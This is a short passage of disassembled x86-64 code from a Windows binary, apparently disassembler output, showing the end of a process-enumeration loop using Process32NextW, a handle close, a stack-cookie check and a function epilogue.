lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140013ed3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14001c0c0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret